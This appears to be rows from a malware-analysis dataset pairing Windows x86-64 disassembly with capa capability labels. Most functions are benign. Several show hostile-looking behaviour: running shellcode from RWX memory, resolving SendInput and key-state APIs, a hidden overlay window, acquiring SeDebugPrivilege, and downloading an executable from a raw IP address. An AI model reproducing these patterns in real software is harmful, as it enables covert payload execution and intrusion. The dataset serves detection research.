joyce8/EMBER2024-capa huggingface dataset:
Function at 0x14003671c
Capabilities:
Generate random numbers using a mersenne twister

Disassembly:
mov qword [rsp + 8], rcx
sub rsp, 0x38
mov rax, qword [rsp + 0x40]
cmp dword [rax], 0x270
jne 0x14003673e
mov rcx, qword [rsp + 0x40]
call fcn.14003da0c
jmp 0x140036755
mov rax, qword [rsp + 0x40]
cmp dword [rax], 0x4e0
jb 0x140036755
mov rcx, qword [rsp + 0x40]
call fcn.14003d818
mov rax, qword [rsp + 0x40]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x40]
mov eax, dword [rcx + rax*4 + 4]
mov dword [rsp + 0x24], eax
mov rax, qword [rsp + 0x40]
mov eax, dword [rax]
inc eax
mov rcx, qword [rsp + 0x40]
mov dword [rcx], eax
mov eax, dword [rsp + 0x24]
mov dword [rsp + 0x20], eax
mov eax, dword [rsp + 0x20]
shr eax, 0xb
mov rcx, qword [rsp + 0x40]
and eax, dword [rcx + 0x1384]
mov ecx, dword [rsp + 0x20]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x20], eax
mov eax, dword [rsp + 0x20]
shl eax, 7
and eax, 0x9d2c5680
mov ecx, dword [rsp + 0x20]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x20], eax
mov eax, dword [rsp + 0x20]
shl eax, 0xf
and eax, 0xefc60000
mov ecx, dword [rsp + 0x20]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x20], eax
mov eax, dword [rsp + 0x20]
shr eax, 0x12
mov ecx, dword [rsp + 0x20]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x20], eax
mov eax, dword [rsp + 0x20]
add rsp, 0x38
ret
Function at 0x14003ad9c
Capabilities:
Create thread

Disassembly:
mov dword [rsp + 0x18], r8d
mov qword [rsp + 0x10], rdx
mov dword [rsp + 8], ecx
sub rsp, 0x88
mov rax, qword [0x140055b80]
xor rax, rsp
mov qword [rsp + 0x70], rax
mov qword [rsp + 0x30], 0
cmp dword [rsp + 0x90], 0
jl 0x14003adf5
cmp dword [rsp + 0x90], 0x7c
jge 0x14003adf5
lea r8, [rsp + 0x30]
mov edx, dword [rsp + 0x90]
lea rcx, [0x1400547f0]
call fcn.14003b0ac
lea rcx, [rsp + 0x50]
call fcn.1400356ec
nop
cmp qword [rsp + 0x30], 0
jne 0x14003ae1b
lea rdx, [0x14004c900]
lea rcx, [rsp + 0x50]
call fcn.1400361c4
jmp 0x14003ae2a
mov rdx, qword [rsp + 0x30]
lea rcx, [rsp + 0x50]
call fcn.1400361c4
cmp dword [rsp + 0xa0], 1
jne 0x14003ae45
lea rdx, [0x14004c910]
lea rcx, [rsp + 0x50]
call fcn.1400361c4
movss xmm2, dword [0x14004bb90]
movss xmm1, dword [0x14004d558]
lea rcx, [rsp + 0x48]
call fcn.140035b78
mov qword [rsp + 0x38], rax
lea rcx, [rsp + 0x50]
call fcn.14003de08
mov qword [rsp + 0x40], rax
mov rdx, qword [rsp + 0x38]
mov rcx, qword [rsp + 0x40]
call fcn.140025350
movzx eax, al
test eax, eax
je 0x14003aeba
cmp dword [rsp + 0xa0], 0
jne 0x14003aeba
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
mov r8, qword [rsp + 0x98]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
nop
lea rcx, [rsp + 0x50]
call fcn.140035fd8
mov rcx, qword [rsp + 0x70]
xor rcx, rsp
call fcn.140044fa0
add rsp, 0x88
ret

Function at 0x14003aedc
Capabilities:
Link many functions at runtime

Disassembly:
sub rsp, 0x38
lea rcx, [0x14004cb20]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
lea rdx, [0x14004cb10]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x20], 0
jne 0x14003af65
lea rcx, [0x14004cb38]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
lea rdx, str.NtUserSendInput
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x20], 0
jne 0x14003af65
lea rcx, [0x14004cb4c]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
lea rdx, str.SendInput
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x20], 0
jne 0x14003af65
xor al, al
jmp 0x14003b017
lea rcx, str.win32u
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
lea rdx, [0x14004cb58]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rsp + 0x28], rax
cmp qword [rsp + 0x28], 0
jne 0x14003afe7
lea rcx, [0x14004cb90]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
lea rdx, str.NtUserGetAsyncKeyState
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rsp + 0x28], rax
cmp qword [rsp + 0x28], 0
jne 0x14003afe7
lea rcx, str.user32
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
lea rdx, [0x14004cb98]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rsp + 0x28], rax
cmp qword [rsp + 0x28], 0
jne 0x14003afe7
xor al, al
jmp 0x14003b017
mov r8d, 0x1e
mov rdx, qword [rsp + 0x20]
lea rcx, [0x140056958]
call fcn.140045ae3
mov r8d, 0x1e
mov rdx, qword [rsp + 0x28]
lea rcx, [0x140056978]
call fcn.140045ae3
mov al, 1
add rsp, 0x38
ret
Function at 0x14003c3dc
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
mov dword [rsp + 8], ecx
sub rsp, 0x48
mov r9d, 0x40
mov r8d, 0x1000
mov edx, 0x1000
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov qword [rsp + 0x28], rax
cmp qword [rsp + 0x28], 0
jne 0x14003c40e
xor eax, eax
jmp 0x14003c464
mov r8d, 0x1e
lea rdx, [0x140056978]
mov rcx, qword [rsp + 0x28]
call fcn.140045ae3
mov rax, qword [rsp + 0x28]
mov qword [rsp + 0x30], rax
mov ecx, dword [rsp + 0x50]
call qword [rsp + 0x30]
mov dword [rsp + 0x20], eax
mov r8d, 0x1000
xor edx, edx
mov rcx, qword [rsp + 0x28]
call sub.VCRUNTIME140.dll_memset
mov r8d, 0x8000
xor edx, edx
mov rcx, qword [rsp + 0x28]
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov eax, dword [rsp + 0x20]
add rsp, 0x48
ret
Function at 0x14003d818
Capabilities:
Generate random numbers using a mersenne twister

Disassembly:
mov qword [rsp + 8], rcx
sub rsp, 0x48
mov qword [rsp + 0x28], 0x26f
mov qword [rsp + 0x30], 0xe3
mov qword [rsp], 0
jmp 0x14003d848
mov rax, qword [rsp]
inc rax
mov qword [rsp], rax
cmp qword [rsp], 0xe3
jae 0x14003d8ca
mov rax, qword [rsp + 0x50]
mov rcx, qword [rsp]
mov eax, dword [rax + rcx*4 + 0x9c4]
and eax, 0x80000000
mov rcx, qword [rsp + 0x50]
mov rdx, qword [rsp]
mov ecx, dword [rcx + rdx*4 + 0x9c8]
btr ecx, 0x1f
or eax, ecx
mov dword [rsp + 0x10], eax
mov eax, dword [rsp + 0x10]
and eax, 1
test eax, eax
je 0x14003d896
mov dword [rsp + 0x14], 0x9908b0df
jmp 0x14003d89e
mov dword [rsp + 0x14], 0
mov eax, dword [rsp + 0x10]
shr eax, 1
xor eax, dword [rsp + 0x14]
mov rcx, qword [rsp + 0x50]
mov rdx, qword [rsp]
xor eax, dword [rcx + rdx*4 + 0xff8]
mov rcx, qword [rsp + 0x50]
mov rdx, qword [rsp]
mov dword [rcx + rdx*4 + 4], eax
jmp 0x14003d83d
mov qword [rsp + 8], 0xe3
jmp 0x14003d8e2
mov rax, qword [rsp + 8]
inc rax
mov qword [rsp + 8], rax
cmp qword [rsp + 8], 0x26f
jae 0x14003d969
mov rax, qword [rsp + 0x50]
mov rcx, qword [rsp + 8]
mov eax, dword [rax + rcx*4 + 0x9c4]
and eax, 0x80000000
mov rcx, qword [rsp + 0x50]
mov rdx, qword [rsp + 8]
mov ecx, dword [rcx + rdx*4 + 0x9c8]
btr ecx, 0x1f
or eax, ecx
mov dword [rsp + 0x18], eax
mov eax, dword [rsp + 0x18]
and eax, 1
test eax, eax
je 0x14003d933
mov dword [rsp + 0x1c], 0x9908b0df
jmp 0x14003d93b
mov dword [rsp + 0x1c], 0
mov eax, dword [rsp + 0x18]
shr eax, 1
xor eax, dword [rsp + 0x1c]
mov rcx, qword [rsp + 0x50]
mov rdx, qword [rsp + 8]
xor eax, dword [rcx + rdx*4 - 0x388]
mov rcx, qword [rsp + 0x50]
mov rdx, qword [rsp + 8]
mov dword [rcx + rdx*4 + 4], eax
jmp 0x14003d8d5
mov qword [rsp + 0x38], 0x26f
mov eax, 4
imul rax, rax, 0x4df
mov rcx, qword [rsp + 0x50]
mov eax, dword [rcx + rax + 4]
and eax, 0x80000000
mov ecx, 4
imul rcx, rcx, 0
mov rdx, qword [rsp + 0x50]
mov ecx, dword [rdx + rcx + 4]
btr ecx, 0x1f
or eax, ecx
mov dword [rsp + 0x20], eax
mov eax, dword [rsp + 0x20]
and eax, 1
test eax, eax
je 0x14003d9bd
mov dword [rsp + 0x24], 0x9908b0df
jmp 0x14003d9c5
mov dword [rsp + 0x24], 0
mov eax, dword [rsp + 0x20]
shr eax, 1
xor eax, dword [rsp + 0x24]
mov ecx, 4
imul rcx, rcx, 0x18c
mov rdx, qword [rsp + 0x50]
xor eax, dword [rdx + rcx + 4]
mov ecx, 4
imul rcx, rcx, 0x26f
mov rdx, qword [rsp + 0x50]
mov dword [rdx + rcx + 4], eax
mov rax, qword [rsp + 0x50]
mov dword [rax], 0
add rsp, 0x48
ret
Function at 0x14003da0c
Capabilities:
Generate random numbers using a mersenne twister

Disassembly:
mov qword [rsp + 8], rcx
sub rsp, 0x18
mov qword [rsp + 8], 0x270
jmp 0x14003da2d
mov rax, qword [rsp + 8]
inc rax
mov qword [rsp + 8], rax
cmp qword [rsp + 8], 0x4e0
jae 0x14003dab1
mov rax, qword [rsp + 0x20]
mov rcx, qword [rsp + 8]
mov eax, dword [rax + rcx*4 - 0x9bc]
and eax, 0x80000000
mov rcx, qword [rsp + 0x20]
mov rdx, qword [rsp + 8]
mov ecx, dword [rcx + rdx*4 - 0x9b8]
btr ecx, 0x1f
or eax, ecx
mov dword [rsp], eax
mov eax, dword [rsp]
and eax, 1
test eax, eax
je 0x14003da7c
mov dword [rsp + 4], 0x9908b0df
jmp 0x14003da84
mov dword [rsp + 4], 0
mov eax, dword [rsp]
shr eax, 1
xor eax, dword [rsp + 4]
mov rcx, qword [rsp + 0x20]
mov rdx, qword [rsp + 8]
xor eax, dword [rcx + rdx*4 - 0x388]
mov rcx, qword [rsp + 0x20]
mov rdx, qword [rsp + 8]
mov dword [rcx + rdx*4 + 4], eax
jmp 0x14003da20
add rsp, 0x18
ret

Function at 0x14003ea54
Capabilities:
Enumerate processes

Disassembly:
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rdi
sub rsp, 0x170
mov rax, qword [0x140055b80]
xor rax, rsp
mov qword [rsp + 0x160], rax
lea rax, [rsp + 0x30]
mov rdi, rax
xor eax, eax
mov ecx, 0x130
rep stosb byte [rdi], al
xor edx, edx
mov ecx, 2
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov qword [rsp + 0x20], rax
mov dword [rsp + 0x30], 0x130
lea rdx, [rsp + 0x30]
mov rcx, qword [rsp + 0x20]
call sub.KERNEL32.dll_Process32First
test eax, eax
je 0x14003eaf0
mov rdx, qword [rsp + 0x188]
lea rcx, [rsp + 0x5c]
call qword [sym.imp.KERNEL32.dll_lstrcmpiA]
test eax, eax
jne 0x14003eadd
mov rcx, qword [rsp + 0x20]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [rsp + 0x38]
jmp 0x14003eafd
lea rdx, [rsp + 0x30]
mov rcx, qword [rsp + 0x20]
call sub.KERNEL32.dll_Process32Next
test eax, eax
jne 0x14003eab5
mov rcx, qword [rsp + 0x20]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
mov rcx, qword [rsp + 0x160]
xor rcx, rsp
call fcn.140044fa0
add rsp, 0x170
pop rdi
ret
Function at 0x140042c84
Capabilities:
Create thread
Hide graphical window
Terminate process

Disassembly:
sub rsp, 0xc8
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
lea r8, [0x14003ca80]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov r8d, 0x50
xor edx, edx
lea rcx, [rsp + 0x70]
call sub.VCRUNTIME140.dll_memset
mov dword [rsp + 0x70], 0x50
lea rax, [0x14004ca88]
mov qword [rsp + 0xb0], rax
lea rax, [0x14003d048]
mov qword [rsp + 0x78], rax
lea rcx, [rsp + 0x70]
call qword [sym.imp.USER32.dll_RegisterClassExA]
cmp qword [0x1400561c0], 0
je 0x140042d4e
lea rdx, [0x140056350]
mov rcx, qword [0x1400561c0]
call qword [sym.imp.USER32.dll_GetClientRect]
lea rdx, [rsp + 0x60]
mov rcx, qword [0x1400561c0]
call qword [sym.imp.USER32.dll_ClientToScreen]
mov eax, dword [rsp + 0x60]
mov dword [0x140056350], eax
mov eax, dword [rsp + 0x64]
mov dword [0x140056354], eax
mov eax, dword [0x140056358]
mov dword [0x1400561c8], eax
mov eax, dword [0x14005635c]
mov dword [0x1400561cc], eax
jmp 0x140042d59
mov ecx, 2
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
mov qword [rsp + 0x58], 0
mov qword [rsp + 0x50], 0
mov qword [rsp + 0x48], 0
mov qword [rsp + 0x40], 0
mov eax, dword [0x1400561cc]
mov dword [rsp + 0x38], eax
mov eax, dword [0x1400561c8]
mov dword [rsp + 0x30], eax
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov r9d, 0x90000000
lea r8, str.NVIDIA_CONTAINER
lea rdx, str.AFX:03300000111
xor ecx, ecx
call qword [sym.imp.USER32.dll_CreateWindowExA]
mov qword [0x1400569c0], rax
lea rdx, [0x14004ca78]
mov rcx, qword [0x1400569c0]
call qword [sym.imp.dwmapi.dll_DwmExtendFrameIntoClientArea]
mov r8d, 0x800a0
mov edx, 0xffffffec
mov rcx, qword [0x1400569c0]
call qword [sym.imp.USER32.dll_SetWindowLongA]
mov edx, 5
mov rcx, qword [0x1400569c0]
call qword [sym.imp.USER32.dll_ShowWindow]
mov rcx, qword [0x1400569c0]
call qword [sym.imp.USER32.dll_UpdateWindow]
add rsp, 0xc8
ret
Function at 0x1400456a8
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x1400456f2
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x1400456f2
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x1400456f2
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x1400456f2
cmp dword [rcx + 0x84], 0xe
jbe 0x1400456f2
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x1400456f4
xor al, al
add rsp, 0x28
ret
Function at 0x140001840
Capabilities:
Write file on windows

Disassembly:
push rsi
push rbx
sub rsp, 0x38
mov rbx, rcx
lea rax, [rsp + 0x58]
mov ecx, 2
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x28], rax
call fcn.1400075b0
mov r8d, 0x1b
mov edx, 1
lea rcx, str.Mingw_w64_runtime_failure:_n
mov r9, rax
call sub.msvcrt.dll_fwrite
mov rsi, qword [rsp + 0x28]
mov ecx, 2
call fcn.1400075b0
mov rdx, rbx
mov rcx, rax
mov r8, rsi
call sub.msvcrt.dll_vfprintf
call sub.msvcrt.dll_abort
nop
nop dword [rax]

Function at 0x1400018b0
Capabilities:
Allocate or change rwx memory

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x50
movsxd rsi, dword [0x14000d104]
mov rbx, rcx
test esi, esi
jle 0x1400019e0
mov rax, qword [0x14000d108]
xor r9d, r9d
add rax, 0x18
nop word [rax + rax]
mov r8, qword [rax]
cmp rbx, r8
jb 0x1400018fb
mov rdx, qword [rax + 8]
mov edx, dword [rdx + 8]
add r8, rdx
cmp rbx, r8
jb 0x140001985
add r9d, 1
add rax, 0x28
cmp r9d, esi
jne 0x1400018e0
mov rcx, rbx
call fcn.140002300
mov rdi, rax
test rax, rax
je 0x140001a02
mov rax, qword [0x14000d108]
lea rbx, [rsi + rsi*4]
shl rbx, 3
add rax, rbx
mov qword [rax + 0x20], rdi
mov dword [rax], 0
call fcn.140002440
mov edx, dword [rdi + 0xc]
mov r8d, 0x30
lea rcx, [rax + rdx]
mov rax, qword [0x14000d108]
lea rdx, [rsp + 0x20]
mov qword [rax + rbx + 0x18], rcx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x1400019e7
mov eax, dword [rsp + 0x44]
lea edx, [rax - 0x40]
and edx, 0xffffffbf
je 0x14000197e
lea edx, [rax - 4]
and edx, 0xfffffffb
jne 0x140001990
add dword [0x14000d104], 1
add rsp, 0x50
pop rbx
pop rsi
pop rdi
ret
cmp eax, 2
mov rcx, qword [rsp + 0x20]
mov rdx, qword [rsp + 0x38]
mov r8d, 0x40
mov eax, 4
cmove r8d, eax
add rbx, qword [0x14000d108]
mov qword [rbx + 8], rcx
mov r9, rbx
mov qword [rbx + 0x10], rdx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x14000197e
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call fcn.140001840
nop dword [rax]
xor esi, esi
jmp 0x140001908
mov rax, qword [0x14000d108]
mov edx, dword [rdi + 8]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov r8, qword [rax + rbx + 0x18]
call fcn.140001840
mov rdx, rbx
lea rcx, str.Address__p_has_no_image_section
call fcn.140001840
nop
nop word cs:[rax + rax]
nop dword [rax]

Function at 0x140001f70
Capabilities:
Get thread local storage value

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x20
lea r12, [0x14000d160]
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x14000d140]
test rbx, rbx
je 0x140001fcc
mov rbp, qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rdi, qword [sym.imp.KERNEL32.dll_GetLastError]
nop dword [rax]
mov ecx, dword [rbx]
call rbp
mov rsi, rax
call rdi
test eax, eax
jne 0x140001fc3
test rsi, rsi
je 0x140001fc3
mov rax, qword [rbx + 8]
mov rcx, rsi
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x140001fa8
mov rcx, r12
add rsp, 0x20
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
Function at 0x140002300
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rdx, qword [0x140009780]
xor eax, eax
cmp word [rdx], 0x5a4d
jne 0x140002320
movsxd r8, dword [rdx + 0x3c]
add r8, rdx
cmp dword [r8], 0x4550
je 0x140002328
ret
cmp word [r8 + 0x18], 0x20b
jne 0x140002320
movzx eax, word [r8 + 0x14]
sub rcx, rdx
lea rax, [r8 + rax + 0x18]
movzx r8d, word [r8 + 6]
test r8w, r8w
je 0x14000237d
lea edx, [r8 - 1]
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop word cs:[rax + rax]
mov r8d, dword [rax + 0xc]
mov rdx, r8
cmp rcx, r8
jb 0x140002374
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x140002320
add rax, 0x28
cmp rax, r9
jne 0x140002360
xor eax, eax
ret

Function at 0x140002380
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x140009780]
xor ecx, ecx
cmp word [rax], 0x5a4d
jne 0x14000239f
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x1400023a8
mov eax, ecx
ret
cmp word [rax + 0x18], 0x20b
jne 0x14000239f
movzx ecx, word [rax + 6]
mov eax, ecx
ret

Function at 0x140002440
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x140009780]
xor edx, edx
cmp word [rax], 0x5a4d
jne 0x14000245f
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
je 0x140002468
mov rax, rdx
ret
cmp word [rcx + 0x18], 0x20b
cmove rdx, rax
mov rax, rdx
ret
Function at 0x140011096
Capabilities:
Acquire debug privileges

Disassembly:
jmp 0x140011fb0
push rbp
push rdi
sub rsp, 0x128
lea rbp, [rsp + 0x20]
lea rdi, [rsp + 0x20]
mov ecx, 0x12
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
lea rcx, [0x14002716a]
call fcn.140011438
mov dword [rbp + 0x24], 0
call qword [sym.imp.KERNEL32.dll_GetCurrentThread]
lea r9, [rbp + 8]
xor r8d, r8d
mov edx, 0x28
mov rcx, rax
call qword [sym.imp.ADVAPI32.dll_OpenThreadToken]
test eax, eax
jne 0x140012060
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x3f0
jne 0x140012059
mov ecx, 2
call qword [sym.imp.ADVAPI32.dll_ImpersonateSelf]
test eax, eax
jne 0x140012025
mov eax, 0xd
jmp 0x14001209d
call qword [sym.imp.KERNEL32.dll_GetCurrentThread]
lea r9, [rbp + 8]
xor r8d, r8d
mov edx, 0x28
mov rcx, rax
call qword [sym.imp.ADVAPI32.dll_OpenThreadToken]
test eax, eax
jne 0x140012057
lea rcx, str.OpenThreadToken
call fcn.140011109
mov eax, 0xd
jmp 0x14001209d
jmp 0x140012060
mov eax, 0xd
jmp 0x14001209d
mov r8d, 1
lea rdx, str.SeDebugPrivilege
mov rcx, qword [rbp + 8]
call fcn.1400113fc
movzx eax, al
test eax, eax
jne 0x14001209a
lea rcx, str.Set_Privilege
call fcn.140011109
mov rcx, qword [rbp + 8]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, 0xd
jmp 0x14001209d
mov eax, dword [rbp + 0x24]
mov rdi, rax
lea rcx, [rbp - 0x20]
lea rdx, [0x14001d190]
call fcn.1400113bb
mov rax, rdi
lea rsp, [rbp + 0x108]
pop rdi
pop rbp
ret
Function at 0x140011109
Capabilities:
Write file on windows

Disassembly:
jmp 0x140011e70
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x168
lea rbp, [rsp + 0x40]
lea rdi, [rsp + 0x40]
mov ecx, 0x1a
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0x188]
lea rcx, [0x14002716a]
call fcn.140011438
mov ecx, 2
call qword [sym.imp.ucrtbased.dll___acrt_iob_func]
mov r8, qword [rbp + 0x140]
lea rdx, str._s___error__n
mov rcx, rax
call fcn.1400113e8
call qword [sym.imp.KERNEL32.dll_GetSystemDefaultLangID]
movzx eax, ax
mov dword [rbp + 0x114], eax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
lea rcx, [rbp + 8]
mov qword [rsp + 0x20], rcx
mov ecx, dword [rbp + 0x114]
mov r9d, ecx
mov r8d, eax
xor edx, edx
mov ecx, 0x1100
call qword [sym.imp.KERNEL32.dll_FormatMessageA]
mov dword [rbp + 0x24], eax
cmp dword [rbp + 0x24], 0
je 0x140011f4d
mov ecx, 0xfffffff4
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
mov qword [rsp + 0x20], 0
lea r9, [rbp + 0x44]
mov r8d, dword [rbp + 0x24]
mov rdx, qword [rbp + 8]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov rcx, qword [rbp + 8]
call qword [sym.imp.KERNEL32.dll_LocalFree]
lea rcx, [rbp - 0x40]
lea rdx, [0x14001d100]
call fcn.1400113bb
lea rsp, [rbp + 0x128]
pop rdi
pop rbp
ret
Function at 0x14001126c
Capabilities:
Terminate process

Disassembly:
jmp 0x1400158b0
mov qword [rsp + 8], rcx
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
add rsp, 0x28
ret
Function at 0x140011311
Capabilities:
Parse pe header

Disassembly:
jmp 0x140017c20
sub rsp, 0x38
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x20], 0
jne 0x140017c40
xor al, al
jmp 0x140017cc1
mov rax, qword [rsp + 0x20]
movzx eax, word [rax]
cmp eax, 0x5a4d
je 0x140017c53
xor al, al
jmp 0x140017cc1
mov rax, qword [rsp + 0x20]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rsp + 0x20]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x28]
cmp dword [rax], 0x4550
je 0x140017c7d
xor al, al
jmp 0x140017cc1
mov rax, qword [rsp + 0x28]
movzx eax, word [rax + 0x18]
cmp eax, 0x20b
je 0x140017c91
xor al, al
jmp 0x140017cc1
mov rax, qword [rsp + 0x28]
cmp dword [rax + 0x84], 0xe
ja 0x140017ca3
xor al, al
jmp 0x140017cc1
mov eax, 8
imul rax, rax, 0xe
mov rcx, qword [rsp + 0x28]
cmp dword [rcx + rax + 0x88], 0
jne 0x140017cbf
xor al, al
jmp 0x140017cc1
mov al, 1
add rsp, 0x38
ret
Function at 0x1400029e0
Capabilities:
Download url
Receive data

Disassembly:
push rbx
sub rsp, 0xd0
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0xc0], rax
mov qword [rsp + 0x20], 0
xor r9d, r9d
lea r8, str.C:Usersecoloopenssl.exe
lea rdx, str.https:__198.18.24.24_openssl.exe
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileW]
mov ebx, eax
test eax, eax
js 0x140002a38
lea rdx, str.Download_successful_
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
call fcn.140002440
jmp 0x140002a56
lea rdx, str.Download_failed_with_error_code:
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcerr]
call fcn.140002440
mov rcx, rax
mov edx, ebx
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___long_int____ptr64]
lea rdx, [0x140002620]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
lea rdx, str.C:Usersecolo
lea rcx, [rsp + 0xa0]
call fcn.140002b80
nop
lea rdx, str.target:ecologit
lea rcx, [rsp + 0x80]
call fcn.140002b80
nop
lea rax, [rsp + 0x40]
mov qword [rsp + 0x30], rax
lea rdx, [rsp + 0x80]
lea rcx, [rsp + 0x40]
call fcn.140002310
mov rbx, rax
lea rdx, [rsp + 0xa0]
lea rcx, [rsp + 0x60]
call fcn.140002310
nop
mov rdx, rbx
mov rcx, rax
call fcn.1400018d0
nop
mov rdx, qword [rsp + 0x98]
cmp rdx, 7
jbe 0x140002b1a
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x80]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002b14
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140002b14
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400030dc
nop
mov rdx, qword [rsp + 0xb8]
cmp rdx, 7
jbe 0x140002b65
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0xa0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002b60
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140002b60
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400030dc
xor eax, eax
mov rcx, qword [rsp + 0xc0]
xor rcx, rsp
call fcn.140003080
add rsp, 0xd0
pop rbx
ret